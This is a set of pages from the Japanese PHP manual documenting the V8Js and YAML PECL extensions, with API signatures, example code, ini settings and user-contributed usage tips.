(PECL v8js >= 0.1.0)

V8Js::__construct — 新しい V8Js オブジェクトを作成する

説明

public V8Js::__construct
 ( string $object_name = "PHP"
, array $variables = array()
, array $extensions = array()
, bool $report_uncaught_exceptions = true
)

新しい V8Js オブジェクトを作成します。

パラメータ

object_name

Javascript に渡すオブジェクトの名前。

variables

Javascript の中で使う PHP の変数のマップ。 array("js で使うときの名前" => "php の変数名") 形式の連想配列でなければなりません。デフォルトは空の配列です。

extensions

V8Js::registerExtension() で登録した拡張の一覧。 作成した V8Js オブジェクトの Javascript コンテキストで利用可能なものでなければなりません。

注意:

自動的に有効にするように登録した拡張については、この配列で指定する必要はありません。 また、ある登録が別の拡張に依存している場合も、依存している拡張は省略できます。デフォルトは空の配列です。

report_uncaught_exceptions

キャッチできなかった Javascript の例外をその場ですぐに報告するかどうかを制御します。 デフォルトは true です。false にしたときは、キャッチできなかった例外へのアクセスには V8Js::getPendingException() を使います。

返り値

新しい V8Js コンテキストオブジェクトを返します。

User Contributed Notes

There are no user contributed notes for this page.


文字列を Javascript のコードとして実行する

  • ≪ V8Js::__construct
  • V8Js::getExtensions ≫
  • PHP Manual
  • V8Js
  • 文字列を Javascript のコードとして実行する

V8Js::executeString

(PECL v8js >= 0.1.0)

V8Js::executeString — 文字列を Javascript のコードとして実行する

説明

public V8Js::executeString ( string $script , string $identifier = "V8Js::executeString()" , int $flags = V8Js::FLAG_NONE ) : mixed

script で渡した文字列を Javascript のコードとしてコンパイルし、実行します。

パラメータ

script

実行したいコード文字列。

identifier

実行するコードの識別子となる文字列。デバッグ時に使います。

flags

実行フラグ。 V8Js::FLAG_* 定数のいずれかでなければならず、デフォルトは V8Js::FLAG_NONE です。

  • V8Js::FLAG_NONE: 何もフラグが立っていません。

  • V8Js::FLAG_FORCE_ARRAY: PHP に渡されるすべての JS オブジェクトを連想配列にします。

返り値

Javascript のコード内で最後に生成された変数の値を PHP の変数の型に変換して返します。

User Contributed Notes

There are no user contributed notes for this page.


登録された拡張の配列を返す

  • ≪ V8Js::executeString
  • V8Js::getPendingException ≫
  • PHP Manual
  • V8Js
  • 登録された拡張の配列を返す

V8Js::getExtensions

(PECL v8js >= 0.1.0)

V8Js::getExtensions — 登録された拡張の配列を返す

説明

public static V8Js::getExtensions ( ) : array

この関数は、V8Js::registerExtension() で登録された Javascript 拡張の配列を返します。

パラメータ

この関数にはパラメータはありません。

返り値

登録された拡張の配列を返します。何も登録されていない場合は空の配列を返します。

User Contributed Notes

There are no user contributed notes for this page.


キャッチされなかった Javascript 例外の中で未処理のものを返す

  • ≪ V8Js::getExtensions
  • V8Js::registerExtension ≫
  • PHP Manual
  • V8Js
  • キャッチされなかった Javascript 例外の中で未処理のものを返す

V8Js::getPendingException

(PECL v8js >= 0.1.0)

V8Js::getPendingException — キャッチされなかった Javascript 例外の中で未処理のものを返す

説明

public V8Js::getPendingException ( ) : V8JsException

V8Js::executeString() をコールしたときに発生した Javascript の例外の中で未処理のものを V8JsException で返します。

パラメータ

この関数にはパラメータはありません。

返り値

V8JsException あるいは null を返します。

User Contributed Notes

There are no user contributed notes for this page.


V8Js で使う Javascript の拡張を登録する

  • ≪ V8Js::getPendingException
  • V8JsException ≫
  • PHP Manual
  • V8Js
  • V8Js で使う Javascript の拡張を登録する

V8Js::registerExtension

(PECL v8js >= 0.1.0)

V8Js::registerExtension — V8Js で使う Javascript の拡張を登録する

説明

public static V8Js::registerExtension ( string $extension_name , string $script , array $dependencies = array() , bool $auto_enable = false ) : bool

渡された Javascript script を V8Js コンテキストで利用する拡張として登録します。

パラメータ

extension_name

登録する拡張の名前。

script

登録する Javascript コード。

dependencies

登録する拡張が依存している他の拡張の名前の配列。この拡張が読み込まれたときに、 これらの拡張も自動的に有効になります。

注意:

拡張を使う V8Js を作成する前に、 その拡張自身と依存する拡張群をすべて登録しておかなければなりません。

auto_enable

true にすると、この拡張がすべての V8Js コンテキストで自動的に有効となります。

返り値

拡張の登録に成功した場合に true、それ以外の場合に false を返します。

User Contributed Notes

Reforced 11-Jul-2019 10:22
Note that since version 2.0.0 V8Js::registerExtension is deprecated and suggests use snapshots instead https://github.com/phpv8/v8js/releases/tag/2.0.0
Simple example using snapshots and the moment.js:

<?php
$script = file_get_contents('https://cdnjs.cloudflare.com/ajax/libs/moment.js/2.24.0/moment.min.js');

$snapshot = V8Js::createSnapshot($script);
$v8 = new V8Js('php', array(), array(), true, $snapshot);

echo $v8->executeString('moment().format()');
?>

Side-note: If you value speed, security and stability do not use file_get_contents to grab external javascripts on production servers.
dimarikson at yandex dot ru 15-Oct-2014 05:26
Usage sample:

if (V8Js::registerExtension('myjs', 'var x = 1 + 1;', array(), true) === false) {
    exit("Failed to register js extension script");
}

$v8js = new V8Js;

$jsExec = <<<EOD
x;
EOD;

echo $v8js->executeString($jsExec)."\n";    // print "2"


V8JsException クラス

(PECL v8js >= 0.1.0)

はじめに

クラス概要

V8JsException extends Exception {
/* プロパティ */
protected $JsFileName ;
protected $JsLineNumber ;
protected $JsSourceLine ;
protected $JsTrace ;
/* 継承したプロパティ */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* メソッド */
final public getJsFileName ( ) : string
final public getJsLineNumber ( ) : int
final public getJsSourceLine ( ) : string
final public getJsTrace ( ) : string
/* 継承したメソッド */
final public Exception::getMessage ( ) : string
final public Exception::getPrevious ( ) : Exception
final public Exception::getCode ( ) : mixed
final public Exception::getFile ( ) : string
final public Exception::getLine ( ) : int
final public Exception::getTrace ( ) : array
final public Exception::getTraceAsString ( ) : string
public Exception::__toString ( ) : string
final private Exception::__clone ( ) : void
}

プロパティ

JsFileName

JsLineNumber

JsSourceLine

JsTrace

目次

  • V8JsException::getJsFileName — getJsFileName
  • V8JsException::getJsLineNumber — getJsLineNumber
  • V8JsException::getJsSourceLine — getJsSourceLine
  • V8JsException::getJsTrace — getJsTrace

User Contributed Notes

There are no user contributed notes for this page.


getJsFileName

  • ≪ V8JsException
  • V8JsException::getJsLineNumber ≫
  • PHP Manual
  • V8JsException
  • getJsFileName

V8JsException::getJsFileName

(PECL v8js >= 0.1.0)

V8JsException::getJsFileName — getJsFileName

説明

final public V8JsException::getJsFileName ( ) : string

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


getJsLineNumber

  • ≪ V8JsException::getJsFileName
  • V8JsException::getJsSourceLine ≫
  • PHP Manual
  • V8JsException
  • getJsLineNumber

V8JsException::getJsLineNumber

(PECL v8js >= 0.1.0)

V8JsException::getJsLineNumber — getJsLineNumber

説明

final public V8JsException::getJsLineNumber ( ) : int

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


getJsSourceLine

  • ≪ V8JsException::getJsLineNumber
  • V8JsException::getJsTrace ≫
  • PHP Manual
  • V8JsException
  • getJsSourceLine

V8JsException::getJsSourceLine

(PECL v8js >= 0.1.0)

V8JsException::getJsSourceLine — getJsSourceLine

説明

final public V8JsException::getJsSourceLine ( ) : string

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


getJsTrace

  • ≪ V8JsException::getJsSourceLine
  • Yaml ≫
  • PHP Manual
  • V8JsException
  • getJsTrace

V8JsException::getJsTrace

(PECL v8js >= 0.1.0)

V8JsException::getJsTrace — getJsTrace

説明

final public V8JsException::getJsTrace ( ) : string

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


YAML によるデータのシリアライズ

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • 例
  • コールバック
    • パースコールバック
    • 発行コールバック
  • Yaml 関数
    • yaml_emit_file — YAML 形式にした値をファイルに送る
    • yaml_emit — YAML 形式にした値を返す
    • yaml_parse_file — ファイルからの YAML ストリームをパースする
    • yaml_parse_url — URL からの YAML ストリームをパースする
    • yaml_parse — YAML ストリームをパースする

User Contributed Notes

There are no user contributed notes for this page.


はじめに

この拡張モジュールは、データの標準的なシリアライズ方式である » YAML Ain't Markup Language (YAML) を実装したものです。 YAML のパースと出力には » LibYAML ライブラリ を用います。

User Contributed Notes

There are no user contributed notes for this page.


要件

この拡張モジュールを使うには、» LibYAML C ライブラリ のバージョン 0.1.0 以降をインストールしなければなりません。

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

この » PECL 拡張 モジュールは PHP にバンドルされていません。

この PECL 拡張モジュールをインストールする方法は、 マニュアルの PECL 拡張モジュールのインストール という章にあります。 新規リリース・ダウンロード・ソースファイル・管理者情報・CHANGELOG といった関連する情報については、次の場所にあります。 » https://pecl.php.net/package/yaml

User Contributed Notes

There are no user contributed notes for this page.


実行時設定

php.ini の設定により動作が変化します。

Yaml 設定オプション
名前 | デフォルト | 変更可能 | 変更履歴
yaml.decode_binary | 0 | PHP_INI_ALL |
yaml.decode_php | 0 | PHP_INI_ALL | 1.2.0 で追加されました。2.0.0 より前のデフォルトは 1 でした
yaml.decode_timestamp | 0 | PHP_INI_ALL |
yaml.output_canonical | 0 | PHP_INI_ALL |
yaml.output_indent | 2 | PHP_INI_ALL |
yaml.output_width | 80 | PHP_INI_ALL |

以下に設定ディレクティブに関する 簡単な説明を示します。

yaml.decode_binary bool

デフォルトではオフです。オンにすると、明示的にタグ "tag:yaml.org,2002:binary" がつけられた base64 バイナリエンコード形式のエンティティをデコードします。

yaml.decode_php bool

デフォルトではオフです。 しかし、明示的に "!php/object" タグを指定した phpオブジェクトをアンシリアライズさせたい場合には、オンにできます。

yaml.decode_timestamp int

YAML ドキュメントストリームにおける暗黙的なスカラー、 および明示的に "tag:yaml.org,2002:timestamp" がつけられたスカラーの デコードを制御します。デフォルト設定は 0 で、これはなにもデコードしません。 1 を設定すると、strtotime() を使って timestamp 値を Unix タイムスタンプに変換します。 2 を設定すると、date_create() を使って timestamp 値を DateTime オブジェクトに変換します。

yaml.output_canonical bool

デフォルトではオフです。オンにすると、標準形式の出力となります。

yaml.output_indent int

セクションの字下げに使うスペースの数。 1 から 10 までの間の値でなければなりません。

yaml.output_width int

行の長さの推奨値。-1 は、無制限を意味します。

User Contributed Notes

There are no user contributed notes for this page.


定義済み定数

以下の定数が定義されています。 この関数の拡張モジュールが PHP 組み込みでコンパイルされているか、 実行時に動的にロードされている場合のみ使用可能です。

yaml_parse() のコールバックメソッドで使う、 スカラーエンティティの形式
YAML_ANY_SCALAR_STYLE (int)
YAML_PLAIN_SCALAR_STYLE (int)
YAML_SINGLE_QUOTED_SCALAR_STYLE (int)
YAML_DOUBLE_QUOTED_SCALAR_STYLE (int)
YAML_LITERAL_SCALAR_STYLE (int)
YAML_FOLDED_SCALAR_STYLE (int)
yaml_parse() のコールバックメソッドで使う、 共通タグ
YAML_NULL_TAG (string)
"tag:yaml.org,2002:null"
YAML_BOOL_TAG (string)
"tag:yaml.org,2002:bool"
YAML_STR_TAG (string)
"tag:yaml.org,2002:str"
YAML_INT_TAG (string)
"tag:yaml.org,2002:int"
YAML_FLOAT_TAG (string)
"tag:yaml.org,2002:float"
YAML_TIMESTAMP_TAG (string)
"tag:yaml.org,2002:timestamp"
YAML_SEQ_TAG (string)
"tag:yaml.org,2002:seq"
YAML_MAP_TAG (string)
"tag:yaml.org,2002:map"
YAML_PHP_TAG (string)
"!php/object"
yaml_emit() 用のエンコード方式
YAML_ANY_ENCODING (int)
エミッターにエンコードを判断させます。
YAML_UTF8_ENCODING (int)
UTF8 としてエンコードします。
YAML_UTF16LE_ENCODING (int)
UTF16LE としてエンコードします。
YAML_UTF16BE_ENCODING (int)
UTF16BE としてエンコードします。
yaml_emit() 用の改行形式
YAML_ANY_BREAK (int)
エミッターに改行文字を判断させます。
YAML_CR_BREAK (int)
改行文字に \r を使います (Mac 形式)。
YAML_LN_BREAK (int)
改行文字に \n を使います (Unix 形式)。
YAML_CRLN_BREAK (int)
改行文字に \r\n を使います (DOS 形式)。

User Contributed Notes

There are no user contributed notes for this page.


例

例1 Yaml の例

<?php
$addr = array(
    "given" => "Chris",
    "family"=> "Dumars",
    "address"=> array(
        "lines"=> "458 Walkman Dr.
        Suite #292",
        "city"=> "Royal Oak",
        "state"=> "MI",
        "postal"=> 48046,
      ),
  );
$invoice = array (
    "invoice"=> 34843,
    "date"=> "2001-01-23",
    "bill-to"=> $addr,
    "ship-to"=> $addr,
    "product"=> array(
        array(
            "sku"=> "BL394D",
            "quantity"=> 4,
            "description"=> "Basketball",
            "price"=> 450,
          ),
        array(
            "sku"=> "BL4438H",
            "quantity"=> 1,
            "description"=> "Super Hoop",
            "price"=> 2392,
          ),
      ),
    "tax"=> 251.42,
    "total"=> 4443.52,
    "comments"=> "Late afternoon is best. Backup contact is Nancy Billsmer @ 338-4338.",
    );

// 請求書を YAML 形式で出力します
$yaml = yaml_emit($invoice);
var_dump($yaml);

// YAML から PHP の変数に書き戻します
$parsed = yaml_parse($yaml);

// このやりとりの結果、同じ結果が得られていることを確認します
var_dump($parsed == $invoice);
?>

上の例の出力は、 たとえば以下のようになります。

string(631) "---
invoice: 34843
date: "2001-01-23"
bill-to:
  given: Chris
  family: Dumars
  address:
    lines: |-
      458 Walkman Dr.
              Suite #292
    city: Royal Oak
    state: MI
    postal: 48046
ship-to:
  given: Chris
  family: Dumars
  address:
    lines: |-
      458 Walkman Dr.
              Suite #292
    city: Royal Oak
    state: MI
    postal: 48046
product:
- sku: BL394D
  quantity: 4
  description: Basketball
  price: 450
- sku: BL4438H
  quantity: 1
  description: Super Hoop
  price: 2392
tax: 251.420000
total: 4443.520000
comments: Late afternoon is best. Backup contact is Nancy Billsmer @ 338-4338.
...
"
bool(true)

User Contributed Notes

There are no user contributed notes for this page.


コールバック

目次

  • パースコールバック
  • 発行コールバック

User Contributed Notes

There are no user contributed notes for this page.


パースコールバック

パースコールバック (callable) は、 yaml_parse() や yaml_parse_file() そして yaml_parse_url() 関数が、登録済みの YAML タグに遭遇したときに起動します。 コールバックに渡されるのは、タグ付けされたエンティティの値とタグ、そしてスカラーエンティティの形式を表すフラグです。 このコールバックが返すデータを使って、YAML パーサがこのエンティティを発行することになります。

例1 パースコールバックの例

<?php
/**
 * yaml タグのパース用コールバック。
 * @param mixed $value yamlファイルからのデータ
 * @param string $tag コールバックを起動したタグ
 * @param int $flags スカラーエンティティの形式 (YAML_*_SCALAR_STYLE を参照)
 * @return mixed YAML パーサが発行するための値
 */
function tag_callback ($value, $tag, $flags) {
  var_dump(func_get_args()); // デバッグ用
  return "Hello {$value}";
}

$yaml = <<<YAML
greeting: !example/hello World
YAML;

$result = yaml_parse($yaml, 0, $ndocs, array(
    '!example/hello' => 'tag_callback',
  ));

var_dump($result);
?>

上の例の出力は、 たとえば以下のようになります。

array(3) {
  [0]=>
  string(5) "World"
  [1]=>
  string(14) "!example/hello"
  [2]=>
  int(1)
}
array(1) {
  ["greeting"]=>
  string(11) "Hello World"
}

User Contributed Notes

There are no user contributed notes for this page.


発行コールバック

発行コールバックが起動するのは、登録済みのクラスのインスタンスが yaml_emit() や yaml_emit_file() から呼び出されたときです。 コールバックに渡されるのは、発行対象のオブジェクトです。 このコールバックは、二つの要素 "tag" および "data" を持つ配列を返す必要があります。 "tag" の値は文字列で、出力時の YAML タグとして用いられます。 "data" の値は YAML 形式にエンコードされ、 解析対象のオブジェクトの代わりに発行されます。

例1 Emit callback example

<?php
class EmitExample {
  public $data;    // データは pecl/yaml で使える形式となります

  public function __construct ($d) {
    $this->data = $d;
  }

  /**
   * Yaml 発行コールバック関数。yaml_emit からクラス名で参照される
   *
   * 二つの要素を持つ配列を返す。
   *   - 'tag': このシリアライズ用のカスタムタグ
   *   - 'data': yaml に変換する値 (array, string, bool, number)
   *
   * @param object $obj 発行するオブジェクト
   * @return array 発行するタグおよび代理データ
   */
  public static function yamlEmit (EmitExample $obj) {
    return array(
      'tag' => '!example/emit',
      'data' => $obj->data,
    );
  }
}

$emit_callbacks = array(
  'EmitExample' => array('EmitExample', 'yamlEmit')
);

$t = new EmitExample(array('a','b','c'));
$yaml = yaml_emit(
  array(
    'example' => $t,
  ),
  YAML_ANY_ENCODING,
  YAML_ANY_BREAK,
  $emit_callbacks
);
var_dump($yaml);
?>

上の例の出力は、 たとえば以下のようになります。

string(43) "---
example: !example/emit
- a
- b
- c
...
"

User Contributed Notes

There are no user contributed notes for this page.


Yaml 関数

目次

  • yaml_emit_file — YAML 形式にした値をファイルに送る
  • yaml_emit — YAML 形式にした値を返す
  • yaml_parse_file — ファイルからの YAML ストリームをパースする
  • yaml_parse_url — URL からの YAML ストリームをパースする
  • yaml_parse — YAML ストリームをパースする

User Contributed Notes

There are no user contributed notes for this page.


YAML 形式にした値をファイルに送る

  • ≪ Yaml 関数
  • yaml_emit ≫
  • PHP Manual
  • Yaml 関数
  • YAML 形式にした値をファイルに送る

yaml_emit_file

(PECL yaml >= 0.5.0)

yaml_emit_file — YAML 形式にした値をファイルに送る

説明

yaml_emit_file ( string $filename , mixed $data , int $encoding = YAML_ANY_ENCODING , int $linebreak = YAML_ANY_BREAK , array $callbacks = null ) : bool

data で渡したデータを YAML 形式にして filename に書き込みます。

パラメータ

filename

ファイルへのパス。

data

エンコードしたいデータ。リソース型以外の任意の型が使えます。

encoding

出力時の文字エンコーディング。 YAML_ANY_ENCODING、 YAML_UTF8_ENCODING、 YAML_UTF16LE_ENCODING、 YAML_UTF16BE_ENCODING のいずれか。

linebreak

出力時の改行形式。 YAML_ANY_BREAK、 YAML_CR_BREAK、 YAML_LN_BREAK、 YAML_CRLN_BREAK のいずれか。

callbacks

YAML ノードの発行用のコンテンツハンドラ。 クラス名 => callable 形式の連想配列となります。 詳細は発行コールバック を参照ください。

返り値

成功した場合に true を返します。

変更履歴

バージョン | 説明
PECL yaml 1.1.0 | callbacks パラメータが追加されました。

参考

  • yaml_emit() - YAML 形式にした値を返す
  • yaml_parse() - YAML ストリームをパースする

User Contributed Notes

There are no user contributed notes for this page.


YAML 形式にした値を返す

  • ≪ yaml_emit_file
  • yaml_parse_file ≫
  • PHP Manual
  • Yaml 関数
  • YAML 形式にした値を返す

yaml_emit

(PECL yaml >= 0.5.0)

yaml_emit — YAML 形式にした値を返す

説明

yaml_emit ( mixed $data , int $encoding = YAML_ANY_ENCODING , int $linebreak = YAML_ANY_BREAK , array $callbacks = null ) : string

data で渡したデータを YAML 形式にして返します。

パラメータ

data

エンコードしたいデータ。リソース型以外の任意の型が使えます。

encoding

出力時の文字エンコーディング。 YAML_ANY_ENCODING、 YAML_UTF8_ENCODING、 YAML_UTF16LE_ENCODING、 YAML_UTF16BE_ENCODING のいずれか。

linebreak

出力時の改行形式。 YAML_ANY_BREAK、 YAML_CR_BREAK、 YAML_LN_BREAK、 YAML_CRLN_BREAK のいずれか。

callbacks

YAML ノードの発行用のコンテンツハンドラ。 クラス名 => callable 形式の連想配列となります。 詳細は発行コールバック を参照ください。

返り値

成功した場合に YAML 形式の文字列を返します。

変更履歴

バージョン | 説明
PECL yaml 1.1.0 | callbacks パラメータが追加されました。

例

例1 yaml_emit() の例

<?php
$addr = array(
    "given" => "Chris",
    "family"=> "Dumars",
    "address"=> array(
        "lines"=> "458 Walkman Dr.
        Suite #292",
        "city"=> "Royal Oak",
        "state"=> "MI",
        "postal"=> 48046,
      ),
  );
$invoice = array (
    "invoice"=> 34843,
    "date"=> 980208000,
    "bill-to"=> $addr,
    "ship-to"=> $addr,
    "product"=> array(
        array(
            "sku"=> "BL394D",
            "quantity"=> 4,
            "description"=> "Basketball",
            "price"=> 450,
          ),
        array(
            "sku"=> "BL4438H",
            "quantity"=> 1,
            "description"=> "Super Hoop",
            "price"=> 2392,
          ),
      ),
    "tax"=> 251.42,
    "total"=> 4443.52,
    "comments"=> "Late afternoon is best. Backup contact is Nancy Billsmer @ 338-4338.",
  );
var_dump(yaml_emit($invoice));
?>

上の例の出力は、 たとえば以下のようになります。

string(628) "---
invoice: 34843
date: 980208000
bill-to:
  given: Chris
  family: Dumars
  address:
    lines: |-
      458 Walkman Dr.
              Suite #292
    city: Royal Oak
    state: MI
    postal: 48046
ship-to:
  given: Chris
  family: Dumars
  address:
    lines: |-
      458 Walkman Dr.
              Suite #292
    city: Royal Oak
    state: MI
    postal: 48046
product:
- sku: BL394D
  quantity: 4
  description: Basketball
  price: 450
- sku: BL4438H
  quantity: 1
  description: Super Hoop
  price: 2392
tax: 251.420000
total: 4443.520000
comments: Late afternoon is best. Backup contact is Nancy Billsmer @ 338-4338.
...
"

参考

  • yaml_emit_file() - YAML 形式にした値をファイルに送る
  • yaml_parse() - YAML ストリームをパースする

User Contributed Notes

josh dot sickmate at gmail dot com 29-May-2019 05:55
There isn't an option for indenting depth so it's always two spaces. If you want more than this you can use a simple regex.

Converting from two spaces to four:
<?php
$yaml = preg_replace('/^(  +)/m', '$1$1', $yaml);
?>

Add two more $1 into the replacement for eight spaces.


ファイルからの YAML ストリームをパースする

  • ≪ yaml_emit
  • yaml_parse_url ≫
  • PHP Manual
  • Yaml 関数
  • ファイルからの YAML ストリームをパースする

yaml_parse_file

(PECL yaml >= 0.4.0)

yaml_parse_file — ファイルからの YAML ストリームをパースする

説明

yaml_parse_file ( string $filename , int $pos = 0 , int &$ndocs = ? , array $callbacks = null ) : mixed

指定したファイルから読み込んだ YAML ドキュメントストリーム全体あるいはその一部を、PHP の変数に変換します。

パラメータ

filename

ファイルへのパス。

pos

ストリームから取り出すドキュメント (-1 はすべてのドキュメント、0 は最初のドキュメント、...)。

ndocs

ndocs を渡すと、 ストリーム内で見つかったドキュメントの数がそこに格納されます。

callbacks

YAML ノードのコンテンツハンドラ。 YAML タグ => callable 形式の連想配列となります。 詳細はパースコールバック を参照ください。

返り値

適切な PHP の型に変換した結果を返します。 失敗した場合に false を返します。 pos が -1 の場合は配列を返します。 配列の各要素が、ストリーム内で見つかった個々のドキュメントとなります。

注意

警告

!php/object タグを使ったノードの unserialize() を有効にしている場合に、 ユーザーからの信頼できない入力を yaml_parse_file() で処理するのは危険です。 この挙動を無効にするには、ini 設定の yaml.decode_php を利用します。

参考

  • yaml_parse() - YAML ストリームをパースする
  • yaml_parse_url() - URL からの YAML ストリームをパースする
  • yaml_emit() - YAML 形式にした値を返す

User Contributed Notes

Dan M 06-May-2020 03:21
Be aware that when parsing yaml an unquoted Y value will become a boolean true

This may be desired or undesired behavior depending on context

- chr_name: X // becomes string X
- chr_name: Y // becomes boolean true

[
 [chr_name => X],
 [chr_name => true],
]

You definitely don't want chromosome Y becoming chromosome 1 (true) as happened to me, so heads up!
DarckCrystale 08-Aug-2018 12:45
When trying to read an empty file, yaml_parse_file() throws a warning:

    PHP Warning:  yaml_parse_file(): end of stream reached without finding document 0
Arne L. 07-Aug-2015 09:34
As Jesse Donat mentioned the type will be infered automatically. To enforce some type you can use the callback facility like this:

<?php
function cb_yaml_date($value, $tag, $flags) {
    return new DateTime($value);
}

$yaml = <<<YAML
event1:
  name: My Event
  date: !date 25.05.2001
YAML;

$ndocs = 0;
$data = yaml_parse($yaml, 0, $ndocs, array('!date' => 'cb_yaml_date'));

print_r($data);
?>

The above example will output something similar to:

    Array
    (
        [event1] => Array
            (
                [name] => My Event
                [date] => DateTime Object
                    (
                        [date] => 2001-05-25 00:00:00
                        [timezone_type] => 3
                        [timezone] => Europe/Berlin
                    )

            )

    )

BTW if you want to have large numbers you are probably using BC Math. Thus, you simple enclose your number in quotes:

<?php
$yaml = <<<YAML
largenumber: '14695760472279668267313200104308'
YAML;
?>
Jesse Donat 10-Aug-2011 09:34
This is entirely dependent on type detection - as far as I can find there is no way to force a type and for instance when you have a very long integer as a value - in my case 1313035348823 it gets limited to 2147483647 - PHP's max integer.


URL からの YAML ストリームをパースする

  • ≪ yaml_parse_file
  • yaml_parse ≫
  • PHP Manual
  • Yaml 関数
  • URL からの YAML ストリームをパースする

yaml_parse_url

(PECL yaml >= 0.4.0)

yaml_parse_url — URL からの YAML ストリームをパースする

説明

yaml_parse_url ( string $url , int $pos = 0 , int &$ndocs = ? , array $callbacks = null ) : mixed

指定した URL から読み込んだ YAML ドキュメントストリーム全体あるいはその一部を、PHP の変数に変換します。

パラメータ

url

url は "scheme://..." 形式でなければなりません。 PHP は、このスキームを見てプロトコルハンドラ (ラッパー) を探します。 対応するラッパーが登録されていない場合は notice を発し、 そのまま通常のファイルとみなして処理を続けます。

pos

ストリームから取り出すドキュメント (-1 はすべてのドキュメント、0 は最初のドキュメント、...)。

ndocs

ndocs を渡すと、 ストリーム内で見つかったドキュメントの数がそこに格納されます。

callbacks

YAML ノードのコンテンツハンドラ。 YAML タグ => callable 形式の連想配列となります。 詳細はパースコールバック を参照ください。

返り値

適切な PHP の型に変換した結果を返します。 失敗した場合に false を返します。 pos が -1 の場合は配列を返します。 配列の各要素が、ストリーム内で見つかった個々のドキュメントとなります。

注意

警告

!php/object タグを使ったノードの unserialize() を有効にしている場合に、 ユーザーからの信頼できない入力を yaml_parse_url() で処理するのは危険です。 この挙動を無効にするには、ini 設定の yaml.decode_php を利用します。

参考

  • yaml_parse() - YAML ストリームをパースする
  • yaml_parse_file() - ファイルからの YAML ストリームをパースする
  • yaml_emit() - YAML 形式にした値を返す

User Contributed Notes

There are no user contributed notes for this page.


YAML ストリームをパースする

  • ≪ yaml_parse_url
  • Yaf ≫
  • PHP Manual
  • Yaml 関数
  • YAML ストリームをパースする

yaml_parse

(PECL yaml >= 0.4.0)

yaml_parse — YAML ストリームをパースする

説明

yaml_parse ( string $input , int $pos = 0 , int &$ndocs = ? , array $callbacks = null ) : mixed

YAML ドキュメントストリーム全体あるいはその一部を、PHP の変数に変換します。

パラメータ

input

YAML ドキュメントストリームとしてパースする文字列。

pos

ストリームから取り出すドキュメント (-1 はすべてのドキュメント、0 は最初のドキュメント、...)。

ndocs

ndocs を渡すと、 ストリーム内で見つかったドキュメントの数がそこに格納されます。

callbacks

YAML ノードのコンテンツハンドラ。 YAML タグ => callable 形式の連想配列となります。 詳細はパースコールバック を参照ください。

返り値

適切な PHP の型に変換した結果を返します。 失敗した場合に false を返します。 pos が -1 の場合は配列を返します。 配列の各要素が、ストリーム内で見つかった個々のドキュメントとなります。

例

例1 yaml_parse() の例

<?php
$yaml = <<<EOD
---
invoice: 34843
date: "2001-01-23"
bill-to: &id001
  given: Chris
  family: Dumars
  address:
    lines: |-
      458 Walkman Dr.
              Suite #292
    city: Royal Oak
    state: MI
    postal: 48046
ship-to: *id001
product:
- sku: BL394D
  quantity: 4
  description: Basketball
  price: 450
- sku: BL4438H
  quantity: 1
  description: Super Hoop
  price: 2392
tax: 251.420000
total: 4443.520000
comments: Late afternoon is best. Backup contact is Nancy Billsmer @ 338-4338.
...
EOD;

$parsed = yaml_parse($yaml);
var_dump($parsed);
?>

上の例の出力は、 たとえば以下のようになります。

array(8) {
  ["invoice"]=>
  int(34843)
  ["date"]=>
  string(10) "2001-01-23"
  ["bill-to"]=>
  &array(3) {
    ["given"]=>
    string(5) "Chris"
    ["family"]=>
    string(6) "Dumars"
    ["address"]=>
    array(4) {
      ["lines"]=>
      string(34) "458 Walkman Dr.
        Suite #292"
      ["city"]=>
      string(9) "Royal Oak"
      ["state"]=>
      string(2) "MI"
      ["postal"]=>
      int(48046)
    }
  }
  ["ship-to"]=>
  &array(3) {
    ["given"]=>
    string(5) "Chris"
    ["family"]=>
    string(6) "Dumars"
    ["address"]=>
    array(4) {
      ["lines"]=>
      string(34) "458 Walkman Dr.
        Suite #292"
      ["city"]=>
      string(9) "Royal Oak"
      ["state"]=>
      string(2) "MI"
      ["postal"]=>
      int(48046)
    }
  }
  ["product"]=>
  array(2) {
    [0]=>
    array(4) {
      ["sku"]=>
      string(6) "BL394D"
      ["quantity"]=>
      int(4)
      ["description"]=>
      string(10) "Basketball"
      ["price"]=>
      int(450)
    }
    [1]=>
    array(4) {
      ["sku"]=>
      string(7) "BL4438H"
      ["quantity"]=>
      int(1)
      ["description"]=>
      string(10) "Super Hoop"
      ["price"]=>
      int(2392)
    }
  }
  ["tax"]=>
  float(251.42)
  ["total"]=>
  float(4443.52)
  ["comments"]=>
  string(68) "Late afternoon is best. Backup contact is Nancy Billsmer @ 338-4338."
}

注意

警告

!php/object タグを使ったノードの unserialize() を有効にしている場合に、 ユーザーからの信頼できない入力を yaml_parse() で処理するのは危険です。 この挙動を無効にするには、ini 設定の yaml.decode_php を利用します。

参考

  • yaml_parse_file() - ファイルからの YAML ストリームをパースする
  • yaml_parse_url() - URL からの YAML ストリームをパースする
  • yaml_emit() - YAML 形式にした値を返す

User Contributed Notes

Zalmoksis 06-Feb-2019 01:15
It seams the YAML standard version here is the 1.1 and not the (1.2 released in 2009), so all of the following values: y, Y, yes, Yes, YES, n, N, no, No, NO, true, True, TRUE, false, False, FALSE, on, On, ON, off, Off, OFF are confusingly at times interpreted as booleans.
laura dot dean at mooneleaf dot com 30-Oct-2016 02:19
When entering the string through a form, I had to first use utf8_decode on the input before using yaml_parse or else I got a cryptic error message --

Warning: yaml_parse(): reading error encountered during parsing: control characters are not allowed (line 1, column 1)

-- even though the special character was buried deep in the file.
alpacagm at gmail dot com 11-Jan-2012 04:32
Simple usage example of interpreting custom tags:
<?php
$data=
"#yaml
---
data: !mytag bar test
...
";

function callback($value){
  return str_replace('bar','baz',$value);
}
$cnt;
$array=yaml_parse($data,0,$cnt,array('!mytag'=>'callback'));

print_r($array['data']);
?>
output:
Array
(
   [data] => baz test
)
